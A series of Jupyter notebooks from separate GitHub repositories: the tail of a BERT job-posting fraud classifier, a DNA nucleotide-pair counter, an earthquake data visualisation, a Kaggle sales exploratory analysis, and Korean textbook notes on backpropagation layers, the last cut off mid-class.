\"https://localhost:8080/\", \"height\": 279} id=\"TlGk5BYjY3Oj\" outputId=\"be60c31c-0a10-409c-d289-4ea44da13cec\"\ncm_ds = confusion_matrix(y_val, pred_class_ds, labels=[0,1])\ndisp = ConfusionMatrixDisplay(confusion_matrix=cm_ds, display_labels=[\"Real\", \"Fraudulent\"])\ndisp.plot()\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8xOTFNToZAFj\" outputId=\"66d723ce-443a-4664-d651-24237d4892b1\"\nprint(classification_report(y_val, pred_class_ds, zero_division=0))\n\n# + [markdown] id=\"SMDIGjNw1FFq\"\n# Undersampling in this case lowered the f1-score, but it predicted fewer fraudulent cases real. Depending on the ultimate goals this may be further tweaked to ensure no Fraudulent case is deemed real.\n\n# + [markdown] id=\"g2cbl_yBKD3w\"\n# ## Evaluating Classifier model (non-undersampled) As it was the most accurate in testing.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"889O69RnKIfn\" outputId=\"924807f0-dc39-4dcd-fa11-8fa0f5a08861\"\nloss, auc = classifier_model.evaluate(test_ds)\nprint(f'Loss: {loss}')\nprint(f'AUC: {auc}')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"K9ymRU0xMPIn\" outputId=\"c27b3126-6c99-4b6d-c171-c7c156b2290c\"\ntest_preds = classifier_model.predict(test_ds)\n\n# + id=\"OJTovqCgNYJp\"\npred_class_test =[0 if p<=0.5 else 1 for p in test_preds]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279} id=\"3FyMc8TbNhxr\" outputId=\"8ede0e5f-5994-4ebd-ff2a-72d663e3129b\"\ncm_test = confusion_matrix(y_test, pred_class_test, labels=[0,1])\ndisp = ConfusionMatrixDisplay(confusion_matrix=cm_test, display_labels=[\"Real\", \"Fraudulent\"])\ndisp.plot()\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"pw4YLrx3NqnP\" outputId=\"f3a64473-3b16-4ef8-ed00-8424552e7f0e\"\nprint(classification_report(y_test, pred_class_test, zero_division=0))\n\n# + [markdown] id=\"ITYUTOoNN7qY\"\n# f1 scores of .98 on test data with a near 97% successful prediction rate.\n","repo_name":"nathankrasinski/Deep_Learning_BERT_NLP","sub_path":"Deep_Learning_BERT_Job_Posting_Fraud.ipynb","file_name":"Deep_Learning_BERT_Job_Posting_Fraud.ipynb","file_ext":"py","file_size_in_byte":9519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"26460349112","text":"# + [markdown] id=\"gZR7V5kwemTt\"\n# #***Comparação entra a estrutura ribossomal de um ser humano e uma bacteria***\n# ##(Human X *Escherichia coli*) 🧬\n# ---\n# > A comparação será feita a partir dos pares de nucleotídeos\n#\n#\n\n# + id=\"0c7oth3ug9Zw\"\ninput = open(\"human.fasta\").read()\noutput = open(\"human.html\", \"w\")\n\ncount = {}\n\n# Funcao para criar as combinacoes dos conjuntos de moleculas possiveis em um DNA e passando o valor = 0 para as mesmas\nfor i in ['A', 'T', 'C', 'G']: \n for j in ['A', 'T', 'C', 'G']:\n count[i+j] = 0\n\n# Funcao para tirar a quebra de linha (\\n) que existem no arquivo\ninput = input.replace(\"\\n\", \"\")\n\n\n# Funcao que percorre e conta quantos conjutos existem dentro do dicionario\n\n#O -1 e para nao contar o ultimo par\nfor k in range(len(input)-1): \n count[input[k]+input[k+1]] += 1 \n\n# Gerar um HTML\n\ncounter = 1\nfor k in count:\n #Calculo para mudar a cor conforme a incidencia do par\n transparency = count[k]/max(count.values()) \n #Codigo para gerar o HTML\n output.write(\"
\"+k+\"
\")\n\n if counter%4 == 0:\n output.write(\"
\")\n\n counter+=1\n\noutput.close()\n","repo_name":"WilliamsNasci/bioInformatica","sub_path":"bioInformatica_humanoXbacteria.ipynb","file_name":"bioInformatica_humanoXbacteria.ipynb","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"26962617941","text":"# +\nimport numpy as np\nimport matplotlib.pyplot as plt \nimport pandas as pd\nfrom matplotlib import style\n\nplt.style.available\nplt.style.use('seaborn-v0_8-whitegrid')\n# -\n\nraw_data = pd.read_csv('all_month.csv')\nraw_data #inspect data\n\n#checking for missing data\nraw_data.isnull().sum()\n\n# +\n#investigating an categorising earthquake depth\nraw_data['depth']\n\n#above ground 0\n#70-300 shallow \n#300 over deep\ndepthlist = [] #creating a list to store depth categories\n#loop to iterate through data and classify data\nfor i in range(len(raw_data)):\n val = raw_data['depth'].iloc[i]\n if val <= 0:\n depthlist.append('above ground') \n elif 0 < val < 300:\n depthlist.append('shallow') \n else:\n depthlist.append('deep') \n \n\n\nraw_data['depthCat'] = pd.DataFrame(depthlist) #adding new panda to original raw_data for later usage\nraw_data\n# -\n\n# Clear there are some hotspots of Earthquake activity. However nothing profound to be drawn from this.\n\n# +\n#inspecting the biggest earthquakes\nmag_order = raw_data.sort_values('mag', ascending = False)\n\n#finding max value of data without error in mag error\ni=0\nwhile True:\n mag_find = mag_order.head(i)\n if mag_find.isnull().sum()['magError'] != 0:\n break \n i += 1\nprint(f'Top {len(mag_find)} mags have magerrors')\n\n\n# +\n#investigating the relation of latitude and longitude to earthquake \nfig = plt.figure(dpi = 200, figsize=(10,5))\nax = fig.subplots()\nscat_mag = mag_order.drop_duplicates(subset = ['latitude'])\nscat_mag = mag_order.drop_duplicates(subset = ['longitude'])\n\nscat3d = ax.scatter(scat_mag['longitude'], scat_mag['latitude'], marker = 'o', linewidths = 0, s=7)\n\nplt.title('Top 3000 Earthquakes in Magnitude', fontdict = {'fontname': 'Arial', 'fontsize': 20})\nax.set_ylabel('Longitude', fontdict = {'fontname': 'Arial', 'fontsize': 16})\nax.set_xlabel('Latitude', fontdict= {'fontname': 'Arial', 'fontsize': 16})\n#ax.zaxis.labelpad = -4\n#ax.set_zlabel('Magnitude', rotation=90, fontdict= {'fontname': 'Arial', 'fontsize': 16})\n\n\n# +\n#but we only want the top 50\ntop_mag = mag_order.head(20)\n\nx = np.arange(len(top_mag))\nfig = plt.figure(dpi=200)\nax = fig.subplots()\n\n\nfor i in range(len(top_mag)):\n if top_mag['depthCat'].iloc[i] == 'shallow':\n error1 = ax.errorbar(x[i] , top_mag['mag'].iloc[i], yerr = top_mag['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = 'black', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = 'black')\n elif top_mag['depthCat'].iloc[i] == 'deep': \n error2 = ax.errorbar(x[i] , top_mag['mag'].iloc[i], yerr = top_mag['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = 'blue', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = 'blue')\n \n\nplt.title(f'Top {len(top_mag)} Earthquakes in Magnitude', fontdict = {'fontname': 'Arial', 'fontsize': 20}) \nplt.xticks(rotation = 90, fontsize = 8)\nplt.yticks(fontsize = 8)\nplt.legend(['Deep','Shallow'],numpoints = 1, title = 'Depth Category', fontsize = 10)\nplt.ylabel('Richter Scale', fontsize = 20)\nplt.xlabel('Location', fontsize = 20)\nax.set_xticks(x)\nax.set_xlim(x[0]-1, x[-1]+1)\nax.set_xticklabels(top_mag['place'])\n\n# +\n#investigating stats\n\ninfo_top = top_mag['mag'].describe()\ninfo_top\n\nfig, ax = plt.subplots()\n\nbox = ax.boxplot(top_mag['mag'], vert=False)\nax.set_yticks([])\nax.set_xlabel('Magntidue', fontsize = 20)\nax.set_title('Boxplot of Top 20 Earthquakes', fontdict = {'fontname': 'Arial', 'fontsize': 20})\nax.set_xlim([5.7,7.2])\n# -\n\n# From the graph we can see that apart from the the largest earthquake in Gili Air, almost all the earthquakes of greatest magnitude happen at shallow depths. However, one category of depth, above ground earthquakes, have made it onto the top 20.\n\n# +\n#investigating depths\n#find number of differnt categories\npie_cats = raw_data['depthCat'].value_counts()\n\nfig2 = plt.figure(dpi=200, figsize=(7,7))\n\npercentages = []\nfor i in range(len(pie_cats)):\n percentages.append(round(pie_cats[i]/len(raw_data)*100,1))\n\nlabels = [f'Shallow ({percentages[0]}%)', f'Above Ground ({percentages[1]}%)', f'Deep ({percentages[2]}%)']\ncolors = ['#3423A6', '#7180B9', '#DFF3E4']\n\n\nplt.pie(pie_cats, labels = labels, colors = colors, wedgeprops = {'linewidth': 0}, textprops = {'fontsize': 8})\nplt.title('Earthquake Depth', fontdict = {'fontname': 'Arial', 'fontsize': 20} )\nplt.legend(loc = 'upper right', fontsize = 8)\n# -\n\n# As can be seen the vast majority of earthquakes happen at shallow depths. However a noticebaly proportion of above ground earthquakes have taken place.\n\n#investigating above ground earthquakes\nquake_type = raw_data[['mag', 'magError', 'type', 'place']].loc[raw_data['depthCat']=='above ground']\nquake_type.groupby('type').count()\n\n\n# Majority of above ground recordings appear to be earthquakes\n\n# +\nquake_type_count = quake_type['type'].value_counts()\n\nfig = plt.figure(dpi=200)\nax = fig.subplots()\n\nx = np.arange(len(quake_type_count))\nquake_bar = ax.bar(x,quake_type_count, color = '#171738', linewidth = 0)\n\nheadings = quake_type_count.index\n\nlabels1 = [x.title() for x in headings]\n\n\nplt.xticks(x, fontsize = 8)\nplt.yticks(fontsize = 8)\nplt.title('Above Ground Earthquakes')\nax.set_xticklabels(labels1)\nax.set_xlabel(\"Earthquake Type\")\nax.set_ylabel(\"Frequency\")\n# -\n\n# The majority of these above ground earthquakes still come from earthquakes, but let's take a look at the earthquakes that are not earthquakes\n\n# +\n#removing earthquakes\nno_quake = quake_type.drop(quake_type[quake_type['type']=='earthquake'].index)\nno_quake_top = no_quake.sort_values('mag', ascending=False).head(20)\n\nprint(no_quake_top)\n\nfig = plt.figure(dpi=200)\nax = fig.subplots()\n\nx = np.arange(len(no_quake_top))\n\n\ntop_type = no_quake_top['type']\nfor i in range(len(top_type)):\n if top_type.iloc[i] == 'explosion':\n error1 = ax.errorbar(x[i], no_quake_top['mag'].iloc[i], yerr = no_quake_top['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = '#080E20', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = '#080E20', label = 'Explosion' )\n elif top_type.iloc[i] == 'quarry blast':\n error2 = ax.errorbar(x[i], no_quake_top['mag'].iloc[i], yerr = no_quake_top['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = '#316AAF', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = '#316AAF', label = 'Quarry Blast' ) \n elif top_type.iloc[i] == 'Landslide':\n error3 = ax.errorbar(x[i], no_quake_top['mag'].iloc[i], yerr = no_quake_top['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = '#9AE9E8', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = '#9AE9E8', label = 'Landslide' )\n elif top_type.iloc[i] == 'ice quake':\n error4 = ax.errorbar(x[i], no_quake_top['mag'].iloc[i], yerr = no_quake_top['magError'].iloc[i], fmt = 'p', markersize = 6, markerfacecolor = 'white', markeredgecolor = '#A84D4D', \\\n markeredgewidth = 1, snap = True, capsize= 2, ecolor = '#A84D4D', label = 'Ice Quake' ) \n\n\nplt.title('Biggest Earthquakes That Are Not Earthquakes', fontdict = {'fontname': 'Arial', 'fontsize': 20}) \nplt.xticks(rotation = 90, fontsize = 10)\nplt.yticks(fontsize = 7)\nax.set_xticks(x)\nax.set_xticklabels(no_quake_top['place'])\nax.set_xlabel('Places', fontsize = 20)\nax.set_ylabel('Richter Scale', fontsize = 20)\n\nhandles, labels = plt.gca().get_legend_handles_labels()\nby_label = dict(zip(labels, handles))\nplt.legend(by_label.values(), by_label.keys())\n\n# -\n\n\n","repo_name":"jakehurley/Bootcamp_assignments","sub_path":"Data_Visualistion/Earthquake.ipynb","file_name":"Earthquake.ipynb","file_ext":"py","file_size_in_byte":7710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"19619098259","text":"# +\nimport pandas as pd\nimport numpy as np\nimport os\n\nimport seaborn as sns\n# -\n\n# ## 1. 데이터 불러오기\n#\n# - sales_train.csv: 2013.1~2015.10 일일 판매 데이터. 학습데이터.\n# - test.csv: 매출예측데이터(2015 11월)\n# - sample_submission.csv: 제출파일형식\n# - items.csv: 상품 정보 데이터\n# - item_categories.csv: 상품 종류 데이터\n# - shops.csv: 상점 정보 데이터\n\n# +\npath = '../data/raw/'\nlst = os.listdir(path)\nprint(lst)\n\nitem = pd.read_csv(path+'items.csv')\ncategory = pd.read_csv(path+'item_categories.csv')\nshops = pd.read_csv(path+'shops.csv')\n\nsample = pd.read_csv(path+'sample_submission.csv')\ntest = pd.read_csv(path+'test.csv')\n\nsales_train = pd.read_csv(path+'sales_train.csv')\n# -\n\n# ### 1.1 item_categories\n# - item_category_name: 상품종류 명\n# - item_category_id: 상품종류식별번호\n\ncategory.head()\n\n# 아이템카테고리 : 84\ncategory.info()\n\n# ### 1.2 shops\n# - shops_name: 가게명\n# - shop_id: 가게식별번호\n\nshops.head()\n\n# shop : 60개\nshops.info()\n\n# ### 1.3 items\n# - item_name: 상품명\n# - item_id: 상품식별 아이디\n# - item_category_id: 상품종류식별번호\n\nitem.head()\n\n# 아이템 개수 22170개\nitem.info()\n\n# ### 1.4 test\n# - shop_id, item_id별 2015년 11월 판매량을 예측해야함. (인덱스는 ID)\n\ntest.head()\n\n# ### 1.5 sample_submisson\n# - test의 아이디에 해당하는 판매량을 기입.\n\nsample.head()\n\n# ### 1.6 sales_train\n# - date: 작성일자\n# - date_block_num: 작성일의 편의를 위해 사용되는 연속 월번호(1월,2월 3월 = 0,1,2)\n# - shop_id: 상점식별번호\n# - item_id: 상품식별번호\n# - item_price: 상품가격\n# - item_cnt_day: 상품판매량. 음값은 환불로 가정\n\nsales_train.head()\n\nsales_train.info('all')\n\nsales_train.describe()\n\n# #### box plot\n\nsales_train.boxplot()\n\nsales_train[['item_cnt_day']].boxplot()\n\nsales_train.item_cnt_day[ sales_train.item_cnt_day > 300].hist()\n\nsales_train[sales_train.item_cnt_day > 500]\n\nsales_train[sales_train.item_id==11373]\n\nsales_train[sales_train.item_cnt_day < 1].item_cnt_day.unique()\n\nsales_train[sales_train.item_cnt_day < 1].item_cnt_day.hist()\n\n\n\nsales_train[['item_price']].boxplot()\n\n# #### hist\n\nsales_train.item_cnt_day[sales_train.item_cnt_day < 100 ].hist(bins=100)\n\nsales_train.item_cnt_day[sales_train.item_cnt_day > 100 ].hist(bins=100)\n\n# - 가격이 너무 다르다\n\nsales_train.item_price[ sales_train.item_price < 5000 ].hist(bins=100)\n\nsales_train.item_price[ sales_train.item_price > 5000 ].hist(bins=100)\n\n# #### corr\n\n# raw data 상으로는 연관관계가 전혀 없음.\nsns.heatmap(sales_train.corr())\n\n\n","repo_name":"powpoww/TIL","sub_path":"수업/pjt/code/data_info.ipynb","file_name":"data_info.ipynb","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"37970531025","text":"# + [markdown] id=\"EflE2kk9WeKQ\" colab_type=\"text\"\n# # **Chapter 5 오차역전파법**\n\n# + [markdown] id=\"Emp2jnG2WmgJ\" colab_type=\"text\"\n# 5.1~5.3은 교재 참고\n\n# + [markdown] id=\"SK--nbkWYIUK\" colab_type=\"text\"\n# ## **5.4 단순한 계층 구현하기**\n\n# + [markdown] id=\"A7Ov9V93X_7g\" colab_type=\"text\"\n# ### **5.4.1 곱셈 계층**\n#\n#\n\n# + id=\"oVzqDYcQWY-P\" colab_type=\"code\" colab={}\nclass MulLayer:\n def __init__(self):\n self.x = None\n self.y = None\n\n def forward(self,x,y):\n self.x = x\n self.y = y\n out = x*y\n\n return out\n\n def backward(self,dout):\n dx = dout*self.y # x와 y를 바꾼다.\n dy = dout*self.x\n\n return dx, dy\n\n\n# + [markdown] id=\"Rl7WYnT6XCbb\" colab_type=\"text\"\n# 곱셈 계층을 구현해보았다.\n#\n# forward()는 순전파, backward()는 역전파를 처리한다. \n#\n# __init__()에서는 인스턴스 변수인 x와 y를 초기화한다. 이 두 변수는 순전파 시의 입력 값을 유지하기 위해 사용한다. \n#\n# forward()에서는 x와 y를 인수로 받아 두 값을 곱하여 반환한다. 반면 backward()에서는 상류에서 넘어온 미분(dout)에 순전파 때의 값을 서로 바꿔 곱한 후 하류로 흘린다. \n#\n# ___\n#\n# 인스턴스 변수는 클래스 변수와 마찬가지로 클래스 내에 선언한다. 클래스 변수와의 차이점은 인스턴스에 종속되어 인스턴스 생성시 마다 새로운 저장공간을 할당한다는 점이다. 즉 저장공간이 공유되지 않는다.\n\n# + id=\"Ny6rQ0GqWlGJ\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"3cfd8756-0517-477f-95d3-4039db656b6a\"\n# 교재 p.161 그림 5-16의 순전파 구현\n\napple = 100 # 사과 가격\napple_num = 2 # 사과의 개수\ntax = 1.1 # 소비세\n\n# 계층들\nmul_apple_layer = MulLayer()\nmul_tax_layer = MulLayer()\n\n# 순전파\napple_price = mul_apple_layer.forward(apple,apple_num)\nprice = mul_tax_layer.forward(apple_price,tax)\n\nprint(price)\n\n# + id=\"glD0h9wpYr2B\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"6a5fc27f-7e9f-4a95-b667-9d0b2588ace2\"\n# 역전파\ndprice = 1\ndapple_price, dtax = mul_tax_layer.backward(dprice)\ndapple, dapple_num = mul_apple_layer.backward(dapple_price)\n\nprint(dapple, dapple_num, dtax)\n\n\n# + [markdown] id=\"fmB8ZviAZeTo\" colab_type=\"text\"\n# backward()에서 각 변수에 대한 미분을 구했다. backward()가 받는 인수는 순전파의 출력에 대한 미분이다. \n#\n# 코드를 실행한 결과는 그림 5-16의 결과와 일치한다.\n\n# + [markdown] id=\"PSqDrQgjZxCM\" colab_type=\"text\"\n# ### **5.4.2 덧셈 계층**\n\n# + id=\"7vfk9eWpZQPJ\" colab_type=\"code\" colab={}\nclass AddLayer:\n def __init__(self):\n pass\n\n def forward(self, x, y):\n out = x + y\n return out\n\n def backward(self,dout):\n dx = dout*1\n dy = dout*1\n return dx,dy\n\n\n# + [markdown] id=\"Ri7QPpk9aLoa\" colab_type=\"text\"\n# 덧셈 계층을 구현했다. 덧셈 계층에서는 초기화가 필요 없어서 __init__()에서 아무 일도 하지 않았다. (pass는 아무것도 하지 말라는 명령임) \n#\n# 덧셈 계층의 forward()에서는 입력받은 두 인수 x,y를 더해서 반환한다. \n#\n# backward()에서는 상류에서 내려온 미분을 그대로 하류로 흘린다. \n\n# + id=\"OCU-YPAGaDjb\" colab_type=\"code\" colab={}\n# 교재 pg.163의 그림 5-17 구현\n\napple = 100 # 사과 가격\napple_num = 2 # 사과 개수\norange = 150 # 오렌지 가격\norange_num = 3 # 오렌지 개수\ntax = 1.1 # 소비세\n\n# 계층들\nmul_apple_layer = MulLayer()\nmul_orange_layer = MulLayer()\nadd_apple_orange_layer = AddLayer()\nmul_tax_layer = MulLayer()\n\n# 순전파\napple_price = mul_apple_layer.forward(apple, apple_num) #(1)\norange_price = mul_orange_layer.forward(orange, orange_num) #(2)\nall_price = add_apple_orange_layer.forward(apple_price,orange_price) #(3)\nprice = mul_tax_layer.forward(all_price,tax) #(4)\n\n# 역전파\ndprice = 1\ndall_price,dtax = mul_tax_layer.backward(dprice) #(4)\ndapple_price,dorange_price = add_apple_orange_layer.backward(dall_price) #(3)\ndorange,dorange_num = mul_orange_layer.backward(dorange_price) #(2)\ndapple, dapple_num = mul_apple_layer.backward(dapple_price) #(1)\n\n# + [markdown] id=\"yha_KEKWdLn5\" colab_type=\"text\"\n# 필요한 계층을 만들어 순전파 메서드인 forward()를 적절한 순서로 호출했다. 그런 다음 순전파와 반대 순서로 역전파 메서드인 backward()를 호출해 원하는 미분이 나오게 했다. \n\n# + id=\"aawyjOq3cz6x\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"ed347ef8-74dd-4afc-ac80-42e7456464fc\"\nprint(price)\n\n# + id=\"sD_YLpg-c7Yf\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"a9ae5944-5d44-47f2-8627-357d1736b9ce\"\nprint(dapple_num, dapple, dorange, dorange_num, dtax)\n\n\n# + [markdown] id=\"QxfvDJ1gdzJz\" colab_type=\"text\"\n# 코드를 실행한 결과가 그림 5-17의 결과와 일치한다.\n\n# + [markdown] id=\"PE3FjAYHd5i_\" colab_type=\"text\"\n# ## **5.5 활성화 함수 계층 구현하기**\n\n# + [markdown] id=\"GOpWYoNod_vN\" colab_type=\"text\"\n# ### **5.5.1 ReLU 계층**\n\n# + [markdown] id=\"jPZUVbrZggku\" colab_type=\"text\"\n# ReLU는 x가 0을 초과하면 x를, 0 이하이면 0을 출력하는 함수이다. 순전파 때의 입력인 x가 0보다 크면 역전파는 상류의 값을 그대로 하류로 흘리고, 순전파 때 x가 0 이하면 역전파 때는 하류로 신호를 보내지 않는다. (0을 보낸다.)\n\n# + id=\"e10I6BLbdBpQ\" colab_type=\"code\" colab={}\nclass Relu:\n def __init__(self):\n self.mask = None\n \n def forward(self,x):\n self.mask = (x<=0)\n out = x.copy()\n out[self.mask] = 0\n\n return out\n\n def backward(self, dout):\n dout[self.mask] = 0\n dx = dout\n\n return dx\n\n\n# + [markdown] id=\"2stQn7NvhhUI\" colab_type=\"text\"\n# ReLU 계층을 구현했다. \n#\n# ReLU 클래스는 mask라는 인스턴스 변수를 가진다. mask는 True/False로 구성된 넘파이 배열로, 순전파의 입력인 x의 원소 값이 0 이하인 인덱스는 True, 그 외(0보다 큰 원소)는 False로 유지한다. \n\n# + id=\"g0SAQnM5hN1K\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 55} outputId=\"b5da3f76-2521-4e11-aa43-7d25665972ea\"\nimport numpy as np\nx = np.array([[1.0,-0.5],[-2.0,3.0]])\nprint(x)\n\n# + id=\"XH7VdvvNh2IP\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 55} outputId=\"1012d9c5-8d27-4068-8de2-4ddb91d0e72a\"\nmask = (x<=0)\nprint(mask)\n\n\n# + [markdown] id=\"14OfHOcviCEF\" colab_type=\"text\"\n# mask 변수가 True/False로 구성된 넘파이 배열을 유지하는 것을 알 수 있다. \n#\n# ReLU 계층의 계산 그래프에서 순전파 때의 입력 값이 0 이하면 역전파 때의 값은 0이 되어야 하기 때문에 역전파 때는 순전파 때 만들어둔 mask를 써서 mask의 원소가 True인 곳에는 상류에서 전파된 dout을 0으로 설정한다. \n\n# + [markdown] id=\"KVogvJS6iqQr\" colab_type=\"text\"\n# ### **5.5.2 Sigmoid 계층**\n\n# + [markdown] id=\"lIvHGD6GoD5s\" colab_type=\"text\"\n# 시드모이드 계층의 계산 그래프와 각 계산 단계는 교재 p.167-169 참고\n\n# + id=\"7BLwszghh9eS\" colab_type=\"code\" colab={}\nclass Sigmoid:\n def __init__(self):\n self.out = None\n \n def forward(self,x):\n out = 1 / (1+np.exp(-x))\n self.out = out\n\n return out\n\n def backward(self,dout):\n dx = dout*(1.0-self.out)*self.out\n\n return dx\n\n\n# + [markdown] id=\"szrt5epSo-Pv\" colab_type=\"text\"\n# Sigmoid 계층을 구현하였다. \n#\n# 위의 구현에서는 순전파의 출력을 인스턴스 변수 out에 보관했다가, 역전파 계산 때 그 값을 사용했다. \n\n# + [markdown] id=\"yyPJLvBJpJp4\" colab_type=\"text\"\n# ## **5.6 Affine/Softmax 계층 구현하기**\n\n# + [markdown] id=\"WUeoraK2pOqj\" colab_type=\"text\"\n# ### **5.6.1 Affine 계층**\n\n# + id=\"-Q3jdhedo51k\" colab_type=\"code\" colab={}\nX = np.random.rand(2) #입력\nW = np.random.rand(2,3) #가중치\nB = np.random.rand(3) #편향\n\n# + id=\"tcVFyMVzpmll\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"c2e4dbda-39c5-494f-b1d2-c71e63bc734c\"\nX.shape\n\n# + id=\"cOLBx2hKpoLI\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"87a03337-dcf7-4fbf-f17a-89c5672a7cae\"\nW.shape\n\n# + id=\"nisbDCOippOU\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"1cc1f9f6-c7f2-4687-cb41-8f525ff07f4d\"\nB.shape\n\n# + id=\"todVo1PApp-m\" colab_type=\"code\" colab={}\nY = np.dot(X,W) + B\n\n# + id=\"dtQv4TZxpuve\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"fe9575af-9622-41a9-975e-6b07ab4c216c\"\nY\n\n# + [markdown] id=\"vbE-2seKpzNF\" colab_type=\"text\"\n# 신경망의 순전파에서는 가중치 신호의 총합을 계산하기 때문에 위와 같이 행렬의 곱을 사용했었다. \n#\n# 위의 Y를 활성화 함수로 변환해 다음 층으로 전파하는 것이 신경망 순전파의 흐름이었다. 또한 행렬의 곱 계산에서는 대응하는 차원의 원소 수를 일치시키는 것이 핵심이었다. \n#\n# 행렬의 곱과 편향의 합을 계산 그래프로 나타내는 것은 교재 p.171-173 참고\n\n# + [markdown] id=\"JPAZDa5wqtAi\" colab_type=\"text\"\n# ### **5.6.2 배치용 Affine 계층**\n\n# + [markdown] id=\"MlitmsPWq3um\" colab_type=\"text\"\n# 지금까지 본 Affine 계층은 입력 데이터로 X 하나만을 고려한 것이었다. 이번 절에서 데이터 N개를 묶어 순전파하는 경우, 즉 배치용 Affine 계층을 생각해보겠다.\n#\n# 교재 p.174의 배치용 Affine 계층의 계산 그래프를 확인해보면 X의 형상이 (N,2)로 변화한 것을 알 수 있다. 편향을 더할 때도 주의해주어야 한다. 순전파 때의 편향 덧셈은 X•W에 대한 편향이 각 데이터에 더해진다. \n\n# + id=\"8chmGU9ApvaD\" colab_type=\"code\" colab={}\nX_dot_W = np.array([[0,0,0],[10,10,10]])\nB = np.array([1,2,3])\n\n# + id=\"0FX1-1V2rjYS\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 55} outputId=\"c0108625-c1e9-40e3-bd27-be940c0181f4\"\nX_dot_W\n\n# + id=\"fJ07kX0trk2Q\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 55} outputId=\"ce11a447-813e-4b6a-c4f1-3bdd80ddc8b2\"\nX_dot_W + B\n\n# + [markdown] id=\"T8VjtZGLrpbm\" colab_type=\"text\"\n# 순전파의 편향 덧셈이 각각의 데이터에 더해짐을 확인했다. 그래서 역전파 때는 각 데이터의 역전파 값이 편향의 원소에 모여야 한다.\n\n# + id=\"oBVJc5AlrmR2\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 55} outputId=\"04521981-371a-4e07-88fa-288c6bfd4e73\"\ndY = np.array([[1,2,3],[4,5,6]])\ndY\n\n# + id=\"PndhmdgBr3pc\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} outputId=\"1e516108-2aa8-450d-864d-2d30a563ea0f\"\ndB = np.sum(dY, axis=0)\ndB\n\n\n# + [markdown] id=\"YwAbgMU_r-jH\" colab_type=\"text\"\n# 역전파 값이 편향의 원소에 모이는 것을 코드로 보였다.\n\n# + id=\"X8xY0bVKr7er\" colab_type=\"code\" colab={}\nclass Affine:\n def __init__(self,W,b):\n self.W = W\n self.b = b\n self.x = None\n self.dW = None\n self.db = None\n\n def forward(self,x):\n self.x = x\n out = np.dot(x,self.W)+self.b\n\n return out\n\n def backward(self,dout):\n dx = np.dot(dout,self.W.T)\n self.dW = np.dot(self.x.T,dout)\n self.db = np.sum(dout,axis=0)\n\n return dx\n\n\n# + [markdown] id=\"NMue2K6IsljJ\" colab_type=\"text\"\n# Affine을 구현했다.\n\n# + [markdown] id=\"3QlPWsbDt2UD\" colab_type=\"text\"\n# ### **Softmax-with-Loss 계층**\n\n# + [markdown] id=\"nChZDXsmulqq\" colab_type=\"text\"\n# 설명은 p.176-179 참고\n\n# + id=\"SZwL01JIsjfk\" colab_type=\"code\" colab={}\nclass SoftmaxWithLoss:\n def __init__(self):\n self.loss = None #손실\n self.y = None #softmax의 출력\n self.t = None #정답 레이블(원-핫 벡터)\n\n def forward(self,x,t):\n self.t = t\n self.y = softmax(x)\n self.loss = cross_entropy_error(self.y,self.t)\n return self.loss\n\n def backward(self,dout=1):\n batch_size = self.t.shape[0]\n dx = (self.y-slef.t) / batch_size\n\n return dx\n\n\n# + [markdown] id=\"lxCvE5_LvHky\" colab_type=\"text\"\n# Softmax-with-Loss 계층을 구현했다.\n\n# + [markdown] id=\"k8WKg1ayvLRu\" colab_type=\"text\"\n# ## **5.7 오차역전파법 구현하기**\n\n# + id=\"FxvMCAsjzVdY\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 400} outputId=\"a8f4217e-30a4-4368-8c36-5c545b2a87c7\"\nimport sys,os\nsys.path.append(os.pardir)\nimport numpy as np\nfrom common.layers import *\nfrom common.gradient import numerical_gradient\nfrom collections import OrderedDict\n\nclass TwoLayerNet:\n \n def __init__(self, input_size, hidden_size, output_size, weight_init_std = 0.01):\n # 가중치 초기화\n self.params = {}\n self.params['W1'] = weight_init_std * 